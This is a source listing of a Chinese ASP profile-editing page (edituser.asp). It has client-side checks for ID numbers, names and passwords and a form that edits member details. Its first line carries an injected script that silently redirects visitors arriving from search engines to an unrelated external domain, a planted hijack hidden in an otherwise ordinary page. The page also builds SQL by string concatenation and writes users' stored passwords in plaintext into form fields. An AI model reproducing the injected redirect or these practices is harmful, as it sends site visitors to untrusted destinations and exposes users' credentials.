d:\wwwroot\wuchunhua\edituser.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <%if session("china_uid")="" then
003: response.redirect "login.asp"
004: end if
005:
006: sql="select * from china_user where uid='"&session("china_uid")&"'"
007: set rs=server.createobject("adodb.recordset")
008: rs.open sql,conn,1,3
009: %
>
010: <script language="JavaScript">
011: function CheckForm()
012: {
013:
014:                    //检查年月日是否是合法日期
015:
016:                    function isdate(intYear,intMonth,intDay){
017:
018:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
019:
020:                       if(intMonth>12||intMonth<1) return false;  
021:
022:                       if ( intDay<1||intDay>31)return false;  
023:
024:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
025:
026:                       if(intMonth==2){  
027:
028:                          if(intDay>29) return false;    
029:
030:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
031:
032:                         }  
033:
034:                       return true;  
035:
036:                    }  
037:
038:
039:
040:                    //检查身份证是否是正确格式
041:
042:                    function checkCard(cardid)
043:
044:                    {
045:
046:                        var pattern;
047:
048:                             if (cardid.length==15)
049:
050:                             {
051:
052:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
053:
054:                                  if (pattern.exec(cardid)==null)
055:
056:                                  {
057:
058:                                     alert("15位身份证号码必须为数字!")
059:
060:                                       return false;
061:
062:                                  }
063:
064:                                  if (!isdate("19"+cardid.substring(6,8),cardid.substring(8,10),cardid.substring(10,12)))
065:
066:                                  {
067:
068:                               alert("身份证号码中所含日期不正确")
069:
070:                                  return false;}
071:
072:                                 
073:
074:                             }
075:
076:                             else     if (cardid.length==18)
077:
078:                             {
079:
080:                                  pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
081:
082:                                  if (pattern.exec(cardid)==null)
083:
084:                                  {
085:
086:                                             alert("18位身份证号码必须为数字!")
087:
088:                                           return false;
089:
090:                                  }
091:
092:                                  if (!isdate(cardid.substring(6,10),cardid.substring(10,12),cardid.substring(12,14)))
093:
094:                                  {
095:
096:                                         alert("身份证号码中所含日期不正确")
097:
098:                                  return false;
099:
100:                                  }
101:
102:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
103:
104:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
105:
106:                                  var intTemp=0;
107:
108:                                  for(i = 0; i < cardid.length - 1; i++)
109:
110:                                  intTemp +=  cardid.substring(i, i + 1)  * intQuan[i];  
111:
112:                                  intTemp %= 11;
113:
114:                                  if(cardid.substring(cardid.length - 1,cardid.length).toUpperCase()!=strJiaoYan[intTemp])
115:
116:                                  {
117:
118:                                         alert("身份证末位验证码失败!")
119:
120:                                  return false;
121:
122:                                  }
123:
124:                             }
125:
126:                             else
127:
128:                             {
129:
130:                             alert("身份证号长度必须为15或18!")
131:
132:                             return false;
133:
134:                             }
135:
136:                     return true;  
137:
138:                    }
139:
140: function isUserID(s) {
141:     for(i=0;i<s.length;i++) {
142:         var c=s.charAt(i);
143:         if(!((c>='A'&&c<='Z')||(c>='a'&&c<='z')||(c>='0'&&c<='9')||c=='_'))
144:         {
145:             alert("用户名必须使用英文字符,数字 0~9或者下划线 _ ");
146:             return false;
147:         }
148:     }
149:     return true;
150: }
151:
152:
153:
154:    if (document.reg.uid.value.length == 0) {
155:       alert("请输入您的用户名");
156:       document.reg.uid.focus();
157:       return false;
158:    }
159:          if(isUserID(document.reg.uid.value)==false)
160:       {
161:          document.reg.uid.focus();
162:          return false;
163:       }
164:        if(document.reg.uid.value.length < 2){
165:       alert("用户名不能低于2位");
166:       document.reg.uid.focus();
167:       return false;
168:    }  
169:    if (document.reg.pwd.value.length == 0) {
170:       alert("请输入您的密码");
171:       document.reg.pwd.focus();
172:       return false;
173:    }
174:
175:     if(document.reg.pwd.value.length<4){
176:       alert("密码不能低于4位");
177:       document.reg.pwd.focus();
178:       return false;
179:    }  
180:    if (document.reg.checkpwd.value.length == 0) {
181:       alert("请确认您的密码");
182:       document.reg.checkpwd.focus();
183:       return false;
184:    }
185:    if (document.reg.pwd.value != document.reg.checkpwd.value) {
186:       alert("您两次输入的密码不一样!请重新输入");
187:       document.reg.checkpwd.focus();
188:       return false;
189:    }
190:    if (document.reg.UserName.value.length == 0) {
191:       alert("请输入您的真实姓名");
192:       document.reg.UserName.focus();
193:       return false;
194:    }
195:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
196:    var errorChar
197:    errorChar = isCharsInBag(reg.UserName.value,str)
198:    if (errorChar != "" )
199:    {
200:       alert('真实姓名必须是中文');
201:       reg.UserName.focus();
202:       return false;
203:    }
204: function isCharsInBag (s, bag)
205: {
206: var i,c;
207: for (i = 0; i < s.length; i++)
208: {
209: c = s.charAt(i);//字符串s中的字符
210: if (bag.indexOf(c) > -1)
211: return c;
212: }
213: return "";
214: }
215:   
216:        if(document.reg.UserName.value.length<2||document.reg.UserName.value.length>4){
217:       alert("真实姓名不能少于2字多于4字");
218:       document.reg.UserName.focus();
219:       return false;
220:    }  
221:    <%if webcardid="1" then%>
222:    if (document.reg.cardid.value.length == 0) {
223:       alert("请填写您的身份证号!");
224:       document.reg.cardid.focus();
225:       return false;
226:    }
227:       if(checkCard(document.reg.cardid.value)==false)
228:       {
229:          document.reg.cardid.focus();
230:          return false;
231:       }
232:       <%end if%>
233:       if (document.reg.tel.value.length <7) {
234:       alert("请输入您的联系电话,最少为7位数");
235:       document.reg.tel.focus();
236:       return false;
237:    }
238:    if(!isUserID(reg.uid.value))
239:    {
240:
241:       alert(report);
242:       reg.uid.focus();
243:       return false;
244:    }
245:
246:    return true;
247: }
248: </script>
249:
250: <div align="center">
251: <form action="edituser_save.asp" name=reg method=post onSubmit="return CheckForm();">      
252:                 <table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
253:                   <tr>
254:                     <td bgcolor="#FFFFFF">
255:         <TABLE width=100% border=0 align="center" cellPadding=0 cellSpacing=0 bgcolor="CAE2F8">
256:           <TBODY>
257:             <TR bgcolor="CAE2F8">
258:               <TD bgcolor="CAE2F8"><TABLE width=100% border=0 cellPadding=0 cellSpacing=0>
259:                   <TBODY>
260:                     <TR bgcolor="EFF7FE">                      
261:                     <TD width=23 vAlign=middle align="center"><IMG src="images/arrow_01.gif" alt=arrow width="16" height="16"></TD>                      
262:                     <TD height="28"><a href="user.asp"><font color="#CC0000">会员中心</font></a>
263:                       &gt;&gt; 修改资料(<span class="info6">带 <font color="#FF0000">*</font> 号的项目为必填项</span>)</TD>
264:                     <TD align="right"><font color="#A2CCF2"><b><%=weblink%>&nbsp;</b></font></TD>
265:                     </TR>
266:                   </TBODY>
267:               </TABLE></TD>
268:             </TR>
269:           </TBODY>
270:         </TABLE>
271:         </tD>
272:                   </tr>
273:           <tr>
274:             <td bgcolor="#FFFFFF" align="center"><br>
275:                     <TABLE cellSpacing=1 cellPadding=3 width="750" align=center bgColor=CAE2F8 border=0>
276:                       <TBODY>
277:                         <TR bgcolor="#EFF7FE">
278:               <TD colSpan=2 height="28">
279:                 <P align=left><font color="#CC0000">请正确填写你的信息</font></P>
280:               </TD>
281:                         </TR>
282:                         <TR>
283:                           <TD width="100" bgcolor="EFF7FE" class=reg_t><div align="right">用户名:</div></TD>
284:                           <TD bgcolor="#EFF7FE"><input name=uid value="<%=rs("uid")%>" size=18 maxlength=20 disabled>
285:                               <input name="uid1" value="<%=rs("uid")%>" size=18 maxlength=20 type="hidden">
286:                           <font color="#FF0000">*</font> 您的用户名(不能修改)</TD>
287:                         </TR>
288:                         <TR>
289:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">密码:</div></TD>
290:                           <TD bgcolor="#EFF7FE"><INPUT type=password maxLength=16 size=18 value="<%=rs("pwd")%>" name=pwd>
291:                           <font color="#FF0000">*</font> 您的登陆口令(4~16个字符)</TD>
292:                         </TR>
293:                         <TR>
294:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">确认密码:</div></TD>
295:                           <TD bgcolor="#EFF7FE"><INPUT name=checkpwd type=password value="<%=rs("pwd")%>" size=18 maxLength=16>
296:                           <font color="#FF0000">*</font> 确认您的密码</TD>
297:                         </TR>
298:                         <TR>
299:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">姓 名:</div></TD>
300:                           <TD bgcolor="#EFF7FE"><INPUT name=UserName value="<%=rs("username")%>" size=18 maxLength=10>
301:                           <font color="#FF0000">*</font> 您的真实姓名</TD>
302:                         </TR>
303:                         <TR <%if webcardid="0" then%>style="display:none"<%end if%>>
304:                           <TD align="right" bgcolor="EFF7FE" class=reg_t>身份证号:</TD>
305:                           <TD bgcolor="#EFF7FE"><INPUT name=cardid value="<%=rs("cardid")%>" size=18 maxLength=18 disabled>
306:                           <font color="#FF0000">*</font> 本站保密,如实填写(不能修改)</TD>
307:                         </TR>
308:                         <TR>
309:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">联系电话:</div></TD>
310:                           <TD bgcolor="#EFF7FE"><INPUT maxLength=20 size=18 value="<%=rs("tel")%>" name=tel>
311:                           <font color="#FF0000">*</font> 您最常用的电话</TD>
312:                         </TR>
313:                         <TR>
314:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">Email:</div></TD>
315:                           <TD bgcolor="#EFF7FE"><INPUT name=email value="<%=rs("email")%>" size=30 maxLength=40>                          </TD>
316:                         </TR>
317:                         <TR>
318:                           <TD bgcolor="EFF7FE" class=reg_t><div align="right">QQ:</div></TD>
319:                           <TD bgcolor="#EFF7FE"><INPUT name=qq value="<%=rs("qq")%>" size=18 maxLength=15 onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">                          </TD>
320:                         </TR>
321:                         <TR>
322:                           <TD bgcolor="EFF7FE" class=reg_t>
323:                      <p align="right">网址:</TD>
324:                           <TD bgcolor="#EFF7FE">
325:                     <INPUT maxLength=20 size=40 value="<%=rs("add")%>" name=add></TD>
326:                         </TR><%rs.close:set rs=nothing%>
327:                         <TR bgColor=#ffffff>
328:                           <TD bgcolor="#EFF7FE"></TD>
329:                           <TD bgcolor="#EFF7FE"><input type="submit" value="确定" name="submit">
330: &nbsp;
331:         <input type="reset" value="取消" name="reset">
332: &nbsp;
333:         <input type="button" value="返回" name="back" onclick="javascript:history.back()"></TD>
334:                         </TR>
335:                       </TBODY>
336:               </TABLE>
337:                     <br>
338:             </td>
339:           </tr>
340:     </table>
341:
342:                                 <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
343:                   <tr>
344:                     <td height="6"></td>
345:                   </tr>
346:                 </table>
347: </FORM>
348: </div>                                                                                        
349: <!--#include file="foot.asp"-->
350:
351:
352: